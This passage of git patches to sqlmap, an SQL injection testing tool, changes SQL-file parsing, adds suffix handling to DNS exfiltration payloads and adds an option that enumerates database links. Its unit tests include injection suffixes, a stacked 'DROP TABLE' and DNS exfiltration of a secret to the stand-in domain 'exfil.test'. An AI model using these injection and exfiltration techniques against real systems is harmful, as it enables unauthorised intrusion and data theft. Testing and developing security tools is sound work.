2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index cdab69237..4d3ce0b70 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -12,10 +12,12 @@ import sys from lib.core.common import Backend from lib.core.common import dataToStdout -from lib.core.common import getSQLSnippet from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import joinValue +from lib.core.common import readCachedFileContent +from lib.core.common import splitFields +from lib.core.common import zeroDepthSearch from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import conf @@ -148,12 +150,12 @@ class Custom(object): if not filename: continue - snippet = getSQLSnippet(Backend.getDbms(), filename) + # User SQL is not a bundled procedure template: preserve literals and percent tokens. + snippet = readCachedFileContent(filename) + queries = [_.strip() for _ in splitFields(snippet, delimiter=';' if zeroDepthSearch(snippet, ';') else '\n') if _.strip()] - if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)): - for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _): - query = query.strip() - if query: - conf.dumper.sqlQuery(query, self.sqlQuery(query)) - else: + if queries and all(query.upper().startswith("SELECT") for query in queries): + for query in queries: + conf.dumper.sqlQuery(query, self.sqlQuery(query)) + elif queries: conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet)) diff --git a/tests/test_agent.py b/tests/test_agent.py index 1a6f6882e..bfbec6dbf 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -186,6 +186,12 @@ class TestPrefixSuffix(unittest.TestCase): class TestGetFields(unittest.TestCase): + def test_multiline_scalar_literal(self): + field = "HEX('a;\n b')" + result = agent.getFields("SELECT %s" % field) + self.assertEqual(result[5], [field]) + self.assertEqual(result[6], field) + def test_extracts_select_list(self): # getFields(query) returns an 8-tuple; the fields-bearing slots are: # [0],[1] = regex match objects for the SELECT/expression (must be found, not None) diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py index 95dda4ddb..fc8889730 100644 --- a/tests/test_generic_takeover.py +++ b/tests/test_generic_takeover.py @@ -21,8 +21,10 @@ prompts non-interactive, and conf.dumper is a recording stub. Every test restore all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks. """ +import io import os import sys +import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) @@ -39,6 +41,7 @@ import plugins.generic.entries as emod import plugins.generic.custom as cmod import plugins.generic.misc as mmod import plugins.generic.takeover as tmod +import lib.core.common as common from plugins.generic.custom import Custom from plugins.generic.misc import Miscellaneous @@ -250,38 +253,65 @@ class TestCustomSqlQuery(_GenericBase): class TestCustomSqlFile(_GenericBase): - def test_sqlfile_select_snippets(self): - set_dbms("MySQL") - c = Custom() - cmod.inject.getValue = lambda query, **k: "r" + def _runSqlFile(self, content, suffix=".sql"): + handle, filename = tempfile.mkstemp(suffix=suffix) + os.close(handle) + self.addCleanup(os.unlink, filename) + with io.open(filename, "w", encoding="utf-8") as f: + f.write(content) - # getSQLSnippet reads from disk; patch it to return inline SQL. - saved = cmod.getSQLSnippet - try: - cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2" - conf.sqlFile = "dummy.sql" - c.sqlFile() - # two SELECT statements => two recorded dumper.sqlQuery calls - self.assertEqual(len(conf.dumper.sqlQueries), 2) - finally: - cmod.getSQLSnippet = saved + set_dbms("MySQL") + cmod.inject.getValue = lambda query, **k: "r" + conf.sqlFile = filename + Custom().sqlFile() + return [query for query, output in conf.dumper.sqlQueries] + + def test_sqlfile_select_snippets(self): + self.assertEqual(self._runSqlFile(u"SELECT 1; SELECT 2;\n"), ["SELECT 1", "SELECT 2"]) def test_sqlfile_nonselect_snippet(self): - set_dbms("MySQL") - conf.direct = True - c = Custom() cmod.inject.goStacked = lambda *a, **k: None + self.assertEqual(self._runSqlFile(u"DROP TABLE x"), ["DROP TABLE x"]) - saved = cmod.getSQLSnippet + def test_sqlfile_preserves_percent_tokens_without_prompting(self): + saved = common.readInput try: - cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x" - conf.sqlFile = "dummy.sql" - c.sqlFile() - # non-SELECT => single recorded call with the whole snippet - self.assertEqual(len(conf.dumper.sqlQueries), 1) - self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x") + common.readInput = lambda *a, **k: self.fail("user SQL must not request template substitutions") + query = u"SELECT DATE_FORMAT(NOW(), '%m%m'), '%RANDSTR1%', '%RANDINT1%'" + self.assertEqual(self._runSqlFile(query), [query]) finally: - cmod.getSQLSnippet = saved + common.readInput = saved + + def test_sqlfile_preserves_hash_and_quoted_delimiters(self): + first = u"SELECT '#keep; value', 'it''s; quoted', \"semi; colon\"" + self.assertEqual(self._runSqlFile(first + u"; SELECT 2;"), [first, "SELECT 2"]) + + def test_sqlfile_preserves_multiline_literal(self): + query = u"SELECT 'a;\n b'" + self.assertEqual(self._runSqlFile(query), [query]) + + def test_sqlfile_newline_separated_selects(self): + self.assertEqual(self._runSqlFile(u"SELECT 'a;b'\nSELECT 2\n"), ["SELECT 'a;b'", "SELECT 2"]) + + def test_sqlfile_multiline_select(self): + query = u"SELECT name\nFROM users" + self.assertEqual(self._runSqlFile(query), [query]) + + def test_sqlfile_preserves_mixed_batch(self): + batch = u"UPDATE users SET name='#keep; value';\nSELECT name FROM users;" + executed = [] + cmod.inject.goStacked = lambda query, **k: executed.append(query) + self.assertEqual(self._runSqlFile(batch), [batch]) + self.assertEqual(executed, [batch.rstrip(';')]) + + def test_sqlfile_arbitrary_extension(self): + self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=".txt"), ["SELECT 1"]) + + def test_sqlfile_without_extension(self): + self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=""), ["SELECT 1"]) + + def test_sqlfile_empty(self): + self.assertEqual(self._runSqlFile(u" \n;\n "), []) # --------------------------------------------------------------------------- # From 516f55935c909c4b9c32b7d95dd685e2795a71ef Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 18 Oct 2026 22:14:12 +0200 Subject: [PATCH 008/126] Implements #4973 --- lib/core/settings.py | 2 +- lib/techniques/dns/use.py | 5 ++- tests/test_dns_engine.py | 76 +++++++++++++++++++++++++++++++++++++-- 3 files changed, 79 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4ca26c663..6a7b649a8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.5" +VERSION = "1.10.10.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 1747d22e3..a4f0d95c4 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -74,7 +74,10 @@ def dnsUse(payload, expression): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) - query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) + if conf.suffix is not None: + query = agent.suffixQuery(query, comment="", suffix=conf.suffix) + else: + query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index 24ea4ba37..793a9df3e 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -43,9 +43,13 @@ bootstrap() from lib.core.agent import agent from lib.core.common import Backend -from lib.core.data import conf, kb +from lib.core.data import conf, kb, queries +from lib.core.datatype import AttribDict +from lib.core.datatype import InjectionDict from lib.core.threads import getCurrentThreadData from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE from lib.core.exception import SqlmapNotVulnerableException from lib.core.settings import DNS_BOUNDARIES_ALPHABET from lib.core.settings import MAX_DNS_LABEL @@ -80,7 +84,8 @@ class _HighPortDNSServer(DNSServer): except socket.error: pass -_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} +_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False, + "suffix": None, "direct": False} _KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} @@ -252,6 +257,73 @@ class TestDnsExfilEngineMssql(TestDnsExfilEngine): DBMS_NAME = "Microsoft SQL Server" +class TestDnsStackedSuffix(_DnsCase): + def setUp(self): + _DnsCase.setUp(self) + restore_attrs(self._s_agent) + self._saved_target = {k: conf.get(k) for k in ("parameters", "paramDict", "prefix")} + self._saved_injection = {k: kb.get(k) for k in ("injection", "technique", "forceWhere")} + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.prefix = " /* custom prefix */" + kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN + kb.forceWhere = None + kb.injection = InjectionDict() + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.injection.prefix = conf.prefix + kb.injection.suffix = "; SELECT 999-- inferred suffix" + kb.injection.clause = [1] + kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = AttribDict({"where": PAYLOAD.WHERE.ORIGINAL, "comment": "-- inferred comment"}) + + def tearDown(self): + for k, v in self._saved_target.items(): + conf[k] = v + for k, v in self._saved_injection.items(): + kb[k] = v + _DnsCase.tearDown(self) + + def _extract_with_suffix(self, suffix): + secret = "The quick brown fox jumps over the lazy dog 0123456789" + conf.suffix = suffix + + for dbms in (DBMS.MSSQL, DBMS.PGSQL): + set_dbms(dbms) + self._install_oracle(secret) + oracle = Connect.queryPage + payloads = [] + + def require_suffix(payload, **kwargs): + sql = agent.removePayloadDelimiters(payload) + payloads.append(sql) + # Model an endpoint that accepts the DNS payload only with its required ending. + if suffix and not sql.endswith(suffix): + return None + return oracle(payload, **kwargs) + + Connect.queryPage = staticmethod(require_suffix) + self.assertEqual(dnsmod.dnsUse("unused", "SELECT secret"), secret, dbms) + self.assertGreater(len(payloads), 1, dbms) + for payload in payloads: + self.assertTrue(payload.startswith("id=1%s; " % conf.prefix), dbms) + self.assertNotIn("-- inferred", payload) + if suffix is None: + self.assertTrue(payload.endswith(queries[dbms].comment.query), dbms) + elif suffix: + self.assertTrue(payload.endswith(suffix), dbms) + else: + self.assertFalse(payload.endswith(queries[dbms].comment.query), dbms) + + def test_explicit_suffix_survives_every_chunk(self): + self._extract_with_suffix("; SELECT 4973-- required suffix") + + def test_default_comment_without_explicit_suffix(self): + self._extract_with_suffix(None) + + def test_explicit_empty_suffix_does_not_add_comment(self): + self._extract_with_suffix("") + + class TestDnsLabelInvariant(_DnsCase): """The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label From 71af9b3d8ad6e964eb637fa1c18538868cabfc8c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 18 Oct 2026 22:21:02 +0200 Subject: [PATCH 009/126] Fixes CI/CD issues --- lib/core/settings.py | 2 +- tests/test_generic_takeover.py | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a7b649a8..2b1043c45 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.6" +VERSION = "1.10.10.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py index fc8889730..650ec8ea9 100644 --- a/tests/test_generic_takeover.py +++ b/tests/test_generic_takeover.py @@ -257,7 +257,7 @@ class TestCustomSqlFile(_GenericBase): handle, filename = tempfile.mkstemp(suffix=suffix) os.close(handle) self.addCleanup(os.unlink, filename) - with io.open(filename, "w", encoding="utf-8") as f: + with io.open(filename, "w", encoding="utf-8", newline="") as f: f.write(content) set_dbms("MySQL") @@ -290,6 +290,10 @@ class TestCustomSqlFile(_GenericBase): query = u"SELECT 'a;\n b'" self.assertEqual(self._runSqlFile(query), [query]) + def test_sqlfile_preserves_crlf_literal(self): + query = u"SELECT 'a;\r\n b'" + self.assertEqual(self._runSqlFile(query + u";\r\nSELECT 2;"), [query, "SELECT 2"]) + def test_sqlfile_newline_separated_selects(self): self.assertEqual(self._runSqlFile(u"SELECT 'a;b'\nSELECT 2\n"), ["SELECT 'a;b'", "SELECT 2"]) From 559d6f4543eacb5b045e4e5fca6a130aaaf87ffc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 18 Oct 2026 22:37:59 +0200 Subject: [PATCH 010/126] Increasing the GraphQL timeout in tests --- lib/core/settings.py | 2 +- lib/core/testing.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b1043c45..ed37c29af 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.7" +VERSION = "1.10.10.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 2963ef91a..509e03021 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -268,9 +268,10 @@ def vulnTest(tests=None, label="vuln"): os.environ["SQLMAP_UNSAFE_EVAL"] = '1' - # bounded well above the slowest known entry (GraphQL, ~96s) - a hung entry fails fast and - # visibly instead of silently burning the whole CI job's timeout (see #6129 CI investigation) - output = shellExec(cmd, timeout=180) + # GraphQL blind-dumps every table, including the wide LDAP directory fixture. It takes + # ~124s locally on PyPy and can exceed 180s on CI; give that entry more room without + # weakening its checks or changing the watchdog for the remaining entries (see #6129). + output = shellExec(cmd, timeout=300 if "--graphql" in options else 180) if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: dataToStdout("---\n\n$ %s\n" % cmd) From e90078184d63b4e39121049cb1351f27756cb974 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 19 Oct 2026 10:19:34 +0200 Subject: [PATCH 011/126] Implements --links (#21) --- data/xml/queries.xml | 8 +++ lib/controller/action.py | 6 ++ lib/core/dump.py | 3 + lib/core/enums.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + plugins/generic/databases.py | 36 ++++++++++++ sqlmap.conf | 4 ++ tests/test_configfile.py | 3 + tests/test_databases_enum.py | 108 ++++++++++++++++++++++++++++++++++- tests/test_dump_format.py | 5 ++ 13 files changed, 179 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index e2fb53db9..8f930538c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -173,6 +173,10 @@ + + + + @@ -253,6 +257,10 @@ + + + + diff --git a/lib/controller/action.py b/lib/controller/action.py index 000bc4215..f0b190be4 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -134,6 +134,12 @@ def action(): if conf.getProcs: conf.dumper.procedures(conf.dbmsHandler.getProcedures()) + if conf.getLinks: + try: + conf.dumper.links(conf.dbmsHandler.getLinks()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/core/dump.py b/lib/core/dump.py index f1b2514c7..a5f620a07 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -224,6 +224,9 @@ class Dump(object): def procedures(self, procedures): self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES) + def links(self, links): + self.lister("database links", links, content_type=CONTENT_TYPE.LINKS) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() diff --git a/lib/core/enums.py b/lib/core/enums.py index 899bf51f7..6a5419117 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -429,6 +429,7 @@ class CONTENT_TYPE(object): REG_READ = 25 STATEMENTS = 26 PROCEDURES = 27 + LINKS = 28 class CONTENT_STATUS(object): IN_PROGRESS = 0 diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ae26b65fb..76c6fb82c 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -163,6 +163,7 @@ optDict = { "getPasswordHashes": ("boolean", "Passwords"), "getPrivileges": ("boolean", "Privileges"), "getRoles": ("boolean", "Roles"), + "getLinks": "boolean", "getDbs": ("boolean", "Databases"), "getTables": ("boolean", "Tables"), "getColumns": ("boolean", "Columns"), diff --git a/lib/core/settings.py b/lib/core/settings.py index ed37c29af..1f7cdcb81 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.8" +VERSION = "1.10.10.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 509e03021..c074e8b0b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -113,6 +113,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), + ("-d \"\" --links", ("back-end DBMS: SQLite", "enumeration of database links is not supported on SQLite", "~unhandled exception")), ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 2359f585f..acef3dc04 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -499,6 +499,9 @@ def cmdLineParser(argv=None): enumeration.add_argument("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") + enumeration.add_argument("--links", dest="getLinks", action="store_true", + help="Enumerate DBMS links") + enumeration.add_argument("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index becad0332..2f9441fd7 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -72,6 +72,7 @@ class Databases(object): kb.data.dumpedTable = {} kb.data.cachedStatements = [] kb.data.cachedProcedures = [] + kb.data.cachedLinks = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -1181,6 +1182,41 @@ class Databases(object): return kb.data.cachedStatements + def getLinks(self): + dbms = Backend.getIdentifiedDbms() + if dbms not in queries or "links" not in queries[dbms]: + logger.warning("enumeration of database links is not supported on %s" % dbms) + return [] + + if kb.data.cachedLinks: + return kb.data.cachedLinks + + logger.info("fetching database links visible to the current user") + rootQuery = queries[dbms].links + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + values = inject.getValue(rootQuery.inband.query, blind=False, time=False) + if not isNoneValue(values): + for value in arrayizeValue(values): + value = unArrayizeValue(value) + if not isNoneValue(value): + kb.data.cachedLinks.append(value.strip()) + + if not kb.data.cachedLinks and isInferenceAvailable() and not conf.direct: + count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if count in (0, "0"): + return [] + elif not isNumPosStrValue(count): + logger.warning("unable to retrieve the number of database links") + return [] + + for index in getLimitRange(count): + value = unArrayizeValue(inject.getValue(rootQuery.blind.query % index, union=False, error=False)) + if not isNoneValue(value): + kb.data.cachedLinks.append(value.strip()) + + return kb.data.cachedLinks + def getProcedures(self): infoMsg = "fetching stored procedures" logger.info(infoMsg) diff --git a/sqlmap.conf b/sqlmap.conf index ed2c2c076..2f7c22d28 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -544,6 +544,10 @@ getComments = False # Valid: True or False getStatements = False +# Enumerate database management system links and their destinations. +# Valid: True or False +getLinks = False + # Back-end database management system database to enumerate. db = diff --git a/tests/test_configfile.py b/tests/test_configfile.py index b09242b95..1fbe8a782 100644 --- a/tests/test_configfile.py +++ b/tests/test_configfile.py @@ -113,14 +113,17 @@ class TestConfigFileRoundTrip(unittest.TestCase): try: conf.url = "http://127.0.0.1:1/?id=1" conf.commonTables = True + conf.getLinks = True conf.tablePrefix = "zzz" saveConfig(conf, path) conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten" + conf.getLinks = False configFileParser(path) self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1") self.assertTrue(conf.commonTables) + self.assertTrue(conf.getLinks) self.assertEqual(conf.tablePrefix, "zzz") finally: conf.clear() diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index e31360118..e1a272a39 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -17,6 +17,8 @@ the suite. """ import os +import sqlite3 +import subprocess import sys import unittest @@ -25,7 +27,7 @@ from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() -from lib.core.data import conf, kb +from lib.core.data import conf, kb, queries from lib.core.enums import EXPECTED, PAYLOAD import plugins.generic.databases as dbmod from plugins.generic.databases import Databases @@ -500,6 +502,110 @@ class TestGetSchema(_BaseEnumTest): self.assertEqual(result["testdb"]["users"].get("id"), "int") +class TestGetLinks(_BaseEnumTest): + def setUp(self): + _BaseEnumTest.setUp(self) + self._saved_links = kb.data.get("cachedLinks") + + def tearDown(self): + kb.data.cachedLinks = self._saved_links + _BaseEnumTest.tearDown(self) + + def test_unsupported_dbms_does_not_query(self): + d = self._fresh() + dbmod.inject.getValue = lambda *a, **k: self.fail("unsupported DBMS must not query links") + saved = dbmod.logger.warning + warnings = [] + try: + dbmod.logger.warning = warnings.append + for dbms in queries: + if "links" not in queries[dbms]: + set_dbms(dbms) + self.assertEqual(d.getLinks(), []) + self.assertIn(dbms, warnings[-1]) + finally: + dbmod.logger.warning = saved + + def test_direct_links_and_cache(self): + conf.direct = True + for dbms in ("Microsoft SQL Server", "Oracle"): + set_dbms(dbms) + d = self._fresh() + calls = [] + + def gv(query, **kwargs): + calls.append(query) + return [["remote -> db.example"], ["other -> "]] + + dbmod.inject.getValue = gv + expected = ["remote -> db.example", "other -> "] + self.assertEqual(d.getLinks(), expected) + self.assertEqual(d.getLinks(), expected) + self.assertEqual(calls, [queries[dbms].links.inband.query]) + + def test_blind_links_use_zero_based_paging(self): + self._enable_inference() + for dbms in ("Microsoft SQL Server", "Oracle"): + set_dbms(dbms) + d = self._fresh() + calls = [] + values = iter(["2", ["first -> host1"], ["second -> host2"]]) + + def gv(query, **kwargs): + calls.append(query) + return next(values) + + dbmod.inject.getValue = gv + self.assertEqual(d.getLinks(), ["first -> host1", "second -> host2"]) + root = queries[dbms].links + self.assertEqual(calls, [root.blind.count, root.blind.query % 0, root.blind.query % 1]) + + def test_empty_direct_results(self): + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda *a, **k: None + self.assertEqual(d.getLinks(), []) + + def test_oracle_query_paging_and_null_destination(self): + # Evaluate the catalog/paging SQL with compatible SQLite expressions; live Oracle is + # not required for this check of owner-qualified names, NULL handling and row offsets. + conn = sqlite3.connect(":memory:") + try: + conn.create_function("NVL", 2, lambda value, default: default if value is None else value) + conn.execute("CREATE TABLE ALL_DB_LINKS (OWNER TEXT, DB_LINK TEXT, HOST TEXT)") + conn.executemany("INSERT INTO ALL_DB_LINKS VALUES (?,?,?)", [("PUBLIC", "REMOTE", "db.example"), ("APP", "REMOTE", None)]) + root = queries["Oracle"].links + expected = ["APP.REMOTE -> ", "PUBLIC.REMOTE -> db.example"] + self.assertEqual([row[0] for row in conn.execute(root.inband.query)], expected) + self.assertEqual(conn.execute(root.blind.count).fetchone()[0], 2) + self.assertEqual([conn.execute(root.blind.query % i).fetchone()[0] for i in range(2)], expected) + self.assertIsNone(conn.execute(root.blind.query % 2).fetchone()) + finally: + conn.close() + + def test_empty_or_unavailable_blind_count_does_not_fetch_rows(self): + set_dbms("Oracle") + self._enable_inference() + for count in (0, "0", None, "unavailable"): + d = self._fresh() + + def gv(query, **kwargs): + self.assertEqual(kwargs.get("expected"), EXPECTED.INT) + return count + + dbmod.inject.getValue = gv + self.assertEqual(d.getLinks(), []) + + def test_help_is_one_line(self): + output = subprocess.check_output([sys.executable, os.path.join(os.path.dirname(__file__), "..", "sqlmap.py"), "-hh"]) + lines = output.decode("utf-8").splitlines() + helpLines = [line for line in lines if "--links" in line] + self.assertEqual(len(helpLines), 1) + self.assertIn("Enumerate DBMS links", helpLines[0]) + self.assertLessEqual(len(helpLines[0]), 78) + + class TestGetProcedures(_BaseEnumTest): def test_procedures_direct_pgsql(self): set_dbms("PostgreSQL") diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py index 34d50558b..cb966fd0f 100644 --- a/tests/test_dump_format.py +++ b/tests/test_dump_format.py @@ -76,6 +76,11 @@ class _CaptureCase(unittest.TestCase): class TestStringAndLister(_CaptureCase): + def test_links_output(self): + self.d.links(["remote -> db.example"]) + self.assertIn("database links [1]", self.text()) + self.assertIn("remote -> db.example", self.text()) + def test_string_scalar_quoted(self): # a plain string fact is rendered as "header: 'value'" self.d.string("current user", "root@localhost") From 6530184e2c5626596d650700dee8c51b6982c99b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 19 Oct 2026 11:46:27 +0200 Subject: [PATCH 012/126] Implements #4271 --- lib/core/enums.py | 1 + lib/core/option.py | 45 ++++- lib/core/optiondict.py | 3 +- lib/core/settings.py | 2 +- lib/core/threads.py | 1 + lib/parse/cmdline.py | 3 + lib/request/authrefresh.py | 100 ++++++++++ lib/request/connect.py | 35 +++- lib/request/http2.py | 4 +- lib/request/redirecthandler.py | 4 + sqlmap.conf | 3 + tests/test_authrefresh.py | 341 +++++++++++++++++++++++++++++++++ tests/test_configfile.py | 3 + tests/test_http2.py | 11 ++ 14 files changed, 545 insertions(+), 11 deletions(-) create mode 100644 lib/request/authrefresh.py create mode 100644 tests/test_authrefresh.py diff --git a/lib/core/enums.py b/lib/core/enums.py index 6a5419117..26a0e8d50 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -463,6 +463,7 @@ class MKSTEMP_PREFIX(object): BIG_ARRAY = "sqlmapbigarray-" SPECIFIC_RESPONSE = "sqlmapresponse-" PREPROCESS = "sqlmappreprocess-" + AUTH_REFRESH = "sqlmapauthrefresh-" class TIMEOUT_STATE(object): NORMAL = 0 diff --git a/lib/core/option.py b/lib/core/option.py index 55f2f8af2..0af99b6fe 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -142,6 +142,7 @@ from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads from lib.request.basic import checkCharEncoding +from lib.request import authrefresh from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request @@ -1152,6 +1153,42 @@ def _setPostprocessFunctions(): errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) +def _setAuthRefreshFunction(): + """ + Load the authentication refresh hook without performing a login during initialization. + """ + + if conf.authRefresh: + try: + script = safeFilepathEncode(conf.authRefresh.strip()) + + if not os.path.isfile(script): + raise SqlmapFilePathException("auth refresh script '%s' does not exist" % script) + if not script.endswith(".py"): + raise SqlmapSyntaxException("auth refresh script should have an extension '.py'") + + dirname, filename = os.path.split(os.path.abspath(script)) + if dirname not in sys.path: + sys.path.insert(0, dirname) + + logger.info("loading auth refresh module '%s'" % filename[:-3]) + 